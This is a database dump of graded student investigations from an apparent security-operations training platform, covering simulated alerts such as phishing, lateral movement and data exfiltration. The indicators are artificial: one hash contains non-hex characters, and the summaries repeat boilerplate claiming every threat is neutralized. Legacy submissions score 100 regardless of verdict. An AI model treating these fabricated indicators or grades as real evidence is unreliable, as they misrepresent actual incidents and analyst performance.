(+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-10 22:20:40', '2026-03-10 22:22:20', 0, NULL),
(500, 225, 1470, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.10\",\"ip-203.0.113.45\",\"hash-5d41402a\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\",\"escalate\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 9:23:22 AM\\nALERT: Exfiltration of Sensitive Communications [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.10\\n- [IP] 203.0.113.45\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [FILENAME] wiretap_data.zip\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T22:23:21.429Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-10 22:22:20', '2026-03-10 22:23:21', 0, NULL),
(501, 225, 629, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.12\",\"ip-185.143.223.42\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 9:24:46 AM\\nALERT: Suspicious Network Connection Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 192.168.1.12\\n- [IP] 185.143.223.42\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T22:24:49.308Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)\",\"missed_items\":[\"monitor_traffic\"],\"strengths\":\"Solid analysis\"}', '2026-03-11 01:32:39', '2026-03-10 22:23:39', '2026-03-10 22:24:49', 0, NULL),
(502, 229, 1257, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-192.168.1.102\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 4:21:46 PM\\nALERT: False Positive: Normal Network Traffic Misidentified as Anomaly\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 192.168.1.101\\n- [IP] 192.168.1.102\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T23:21:53.224Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-11 02:25:25', '2026-03-10 23:19:25', '2026-03-10 23:21:53', 0, NULL),
(503, 229, 269, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"collect_forensics\",\"block_ip\",\"isolate_host\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 6:22:27 PM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T01:22:29.469Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"block_hash\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 01:20:21', '2026-03-11 01:22:29', 0, NULL),
(504, 34, 1466, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-11 02:54:56', '2026-03-11 02:54:56', 0, NULL),
(507, 225, 1461, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.123.231.45\",\"ip-192.168.1.25\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 2:20:34 PM\\nALERT: Initial Access: Spear Phishing Campaign [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 185.123.231.45\\n- [IP] 192.168.1.25\\n- [EMAIL] j.smith@sonypictures.com\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T03:20:47.507Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-11 06:23:21', '2026-03-11 03:18:21', '2026-03-11 03:20:47', 0, NULL),
(508, 225, 1462, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"hash-a9f5d8e7\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 2:21:41 PM\\nALERT: Execution: Deployment of Destructive Malware [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [HASH] a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\\n- [FILENAME] destructive_payload.dll\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T03:21:50.908Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 03:20:47', '2026-03-11 03:21:50', 0, NULL);
INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(509, 225, 1463, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-193.168.1.100\",\"ip-10.0.0.25\",\"hash-b6a9b3f8\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 2:22:51 PM\\nALERT: Persistence: Establishing Backdoor Access [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 193.168.1.100\\n- [IP] 10.0.0.25\\n- [HASH] b6a9b3f8a8e4b5c8f9c2d7e58f8a3b6c\\n- [FILENAME] nc.exe\\n- [USERNAME] j.doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T03:23:02.558Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 03:21:50', '2026-03-11 03:23:02', 0, NULL),
(510, 225, 1464, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.45.23\",\"ip-192.168.1.105\",\"hash-f5d5a6b9\",\"artifact_1\",\"artifact_5\",\"artifact_6\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 2:43:37 PM\\nALERT: Lateral Movement: Expanding Reach within the Network [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 10.0.45.23\\n- [IP] 192.168.1.105\\n- [HASH] f5d5a6b9c3b53e4d2a3e1b6f8d7e9c2b\\n- [IP] 203.0.113.45\\n- [FILENAME] malware_payload.dll\\n- [USERNAME] j.doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T03:43:39.524Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 03:23:02', '2026-03-11 03:43:39', 0, NULL),
(511, 225, 1465, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.25\",\"ip-45.76.23.17\",\"hash-e3b0c442\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 2:44:50 PM\\nALERT: Exfiltration: Data Theft and Leakage [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.25\\n- [IP] 45.76.23.17\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [FILENAME] confidential_report_2023.pdf\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T03:44:56.782Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 03:43:39', '2026-03-11 03:44:56', 0, NULL),
(512, 277, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-11 11:47:29', '2026-03-11 11:47:29', 0, NULL),
(513, 277, 1248, 'investigating', NULL, NULL, NULL, NULL, '2026-03-11 14:54:11', '2026-03-11 11:48:11', '2026-03-11 11:48:11', 0, NULL),
(514, 232, 1461, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.123.231.45\",\"ip-192.168.1.25\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\",\"reset_credentials\",\"block_ip\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 11:21:37 PM\\nALERT: Initial Access: Spear Phishing Campaign [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 185.123.231.45\\n- [IP] 192.168.1.25\\n- [EMAIL] j.smith@sonypictures.com\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T17:51:38.339Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-11 20:56:51', '2026-03-11 17:50:51', '2026-03-11 17:51:38', 0, NULL),
(515, 232, 1462, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"hash-a9f5d8e7\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 11:23:40 PM\\nALERT: Execution: Deployment of Destructive Malware [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [HASH] a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\\n- [FILENAME] destructive_payload.dll\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T17:53:44.421Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 17:51:38', '2026-03-11 17:53:44', 0, NULL),
(516, 232, 1463, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-193.168.1.100\",\"ip-10.0.0.25\",\"hash-b6a9b3f8\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 11:25:37 PM\\nALERT: Persistence: Establishing Backdoor Access [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 193.168.1.100\\n- [IP] 10.0.0.25\\n- [HASH] b6a9b3f8a8e4b5c8f9c2d7e58f8a3b6c\\n- [FILENAME] nc.exe\\n- [USERNAME] j.doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T17:55:37.623Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 17:53:44', '2026-03-11 17:55:37', 0, NULL),
(517, 232, 1464, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.45.23\",\"ip-192.168.1.105\",\"hash-f5d5a6b9\",\"artifact_1\",\"artifact_5\",\"artifact_6\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 11:26:13 PM\\nALERT: Lateral Movement: Expanding Reach within the Network [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 10.0.45.23\\n- [IP] 192.168.1.105\\n- [HASH] f5d5a6b9c3b53e4d2a3e1b6f8d7e9c2b\\n- [IP] 203.0.113.45\\n- [FILENAME] malware_payload.dll\\n- [USERNAME] j.doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T17:56:13.586Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 17:55:37', '2026-03-11 17:56:13', 0, NULL),
(518, 232, 1465, 'graded', 82, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/5)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.25\",\"ip-45.76.23.17\",\"hash-e3b0c442\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_hash\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 11:27:43 PM\\nALERT: Exfiltration: Data Theft and Leakage [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.25\\n- [IP] 45.76.23.17\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [FILENAME] confidential_report_2023.pdf\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Block File Hash\\n- Reset Credentials\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T17:57:53.895Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/5)\",\"missed_items\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 17:56:13', '2026-03-11 17:57:53', 0, NULL),
(519, 282, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-11 23:46:37', '2026-03-11 23:46:37', 0, NULL),
(520, 283, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-11 23:58:53', '2026-03-11 23:58:53', 0, NULL),
(521, 283, 233, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"The log shows that the email came from the address noreply@secure-bank.com , and the link leads to the same domain http://secure-bank.com/login . At first glance, it looks consistent. However, there are two critical signs of phishing: The link uses HTTP instead of secure HTTPS — real banks never use an unencrypted connection for login pages. The sender\'s IP address 198.51.100.22 belongs to the test range, which should not be used in real mail. These signs indicate that the attackers are imitating the bank in order to steal the credentials of the target_user user.\",\"artifacts\":\"198.51.100.22, http://secure-bank.com/login\",\"analysis_answers\":{\"action_taken\":\"The log shows that the email came from the address noreply@secure-bank.com , and the link leads to the same domain http://secure-bank.com/login . At first glance, it looks consistent. However, there are two critical signs of phishing: The link uses HTTP instead of secure HTTPS — real banks never use an unencrypted connection for login pages. The sender\'s IP address 198.51.100.22 belongs to the test range, which should not be used in real mail. These signs indicate that the attackers are imitating the bank in order to steal the credentials of the target_user user.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T12:07:05.549Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-12 03:14:35', '2026-03-12 00:09:35', '2026-03-12 12:08:00', 0, NULL),
(522, 285, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-12 07:27:36', '2026-03-12 07:27:36', 0, NULL),
(523, 281, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-12 09:53:38', '2026-03-12 09:53:38', 0, NULL),
(524, 289, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-12 10:05:59', '2026-03-12 10:05:59', 0, NULL),
(525, 42, 233, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"False Positive\",\"executive_summary\":\"It seems like a false positive alert, as it has been sent from the bank.\",\"artifacts\":\"http://secure-bank.com/login\",\"analysis_answers\":{\"action_taken\":\"It seems like a false positive alert, as it has been sent from the bank.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T11:46:50.416Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-12 14:51:05', '2026-03-12 11:41:05', '2026-03-12 11:48:00', 0, NULL),
(526, 42, 234, 'investigating', NULL, NULL, NULL, NULL, '2026-03-12 14:57:08', '2026-03-12 11:48:08', '2026-03-12 11:48:08', 0, NULL),
(527, 283, 234, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"The log shows the execution of the process (process_execution) from host 10.0.0.20 to host 10.0.0.25. According to the incident description, the action was performed using the PsExec utility. The use of PsExec to connect to remote nodes within the network is a typical sign of Horizontal Movement, which is often used by attackers after the initial hacking. Even when using the admin_user account, such activity requires immediate investigation, as it may indicate a compromise of the administrator\'s credentials.\",\"artifacts\":\"10.0.0.20, 10.0.0.25, PSExec\",\"analysis_answers\":{\"action_taken\":\"The log shows the execution of the process (process_execution) from host 10.0.0.20 to host 10.0.0.25. According to the incident description, the action was performed using the PsExec utility. The use of PsExec to connect to remote nodes within the network is a typical sign of Horizontal Movement, which is often used by attackers after the initial hacking. Even when using the admin_user account, such activity requires immediate investigation, as it may indicate a compromise of the administrator\'s credentials.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T12:25:44.029Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-12 15:15:32', '2026-03-12 12:08:32', '2026-03-12 12:26:00', 0, NULL),
(528, 42, 750, 'graded', 70, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (0/1)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.23\",\"ip-192.168.1.20\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 12/03/2026, 13:15:12\\nALERT: Suspicious Email Detected - Potential False Positive\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 198.51.100.23\\n- [IP] 192.168.1.20\\n- [URL] https://example-trusted-site.com/document\\n- [EMAIL] trusted.source@example.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (0)\\n------------------------------\\n(No active containment measures)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-12T12:15:23.959Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (0/1)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Needs improvement\"}', '2026-03-12 15:13:42', '2026-03-12 12:08:42', '2026-03-12 12:15:23', 0, NULL),
(529, 283, 235, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"False Positive\",\"executive_summary\":\"A surge in network traffic was recorded on the data-server under the service_account account.\\nThis indicates an automated process (such as data backup or synchronization), which is a normal activity for this type of server.\\nThe priority of the incident is indicated as Low, which does not correspond to the criticality of a real data leak (Exfiltration).\\nNo additional indicators of compromise (suspicious processes, abnormal time) were found.\",\"artifacts\":\"192.168.1.10, 203.0.113.100, service_account\",\"analysis_answers\":{\"action_taken\":\"A surge in network traffic was recorded on the data-server under the service_account account.\\nThis indicates an automated process (such as data backup or synchronization), which is a normal activity for this type of server.\\nThe priority of the incident is indicated as Low, which does not correspond to the criticality of a real data leak (Exfiltration).\\nNo additional indicators of compromise (suspicious processes, abnormal time) were found.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T12:35:34.417Z\"}', 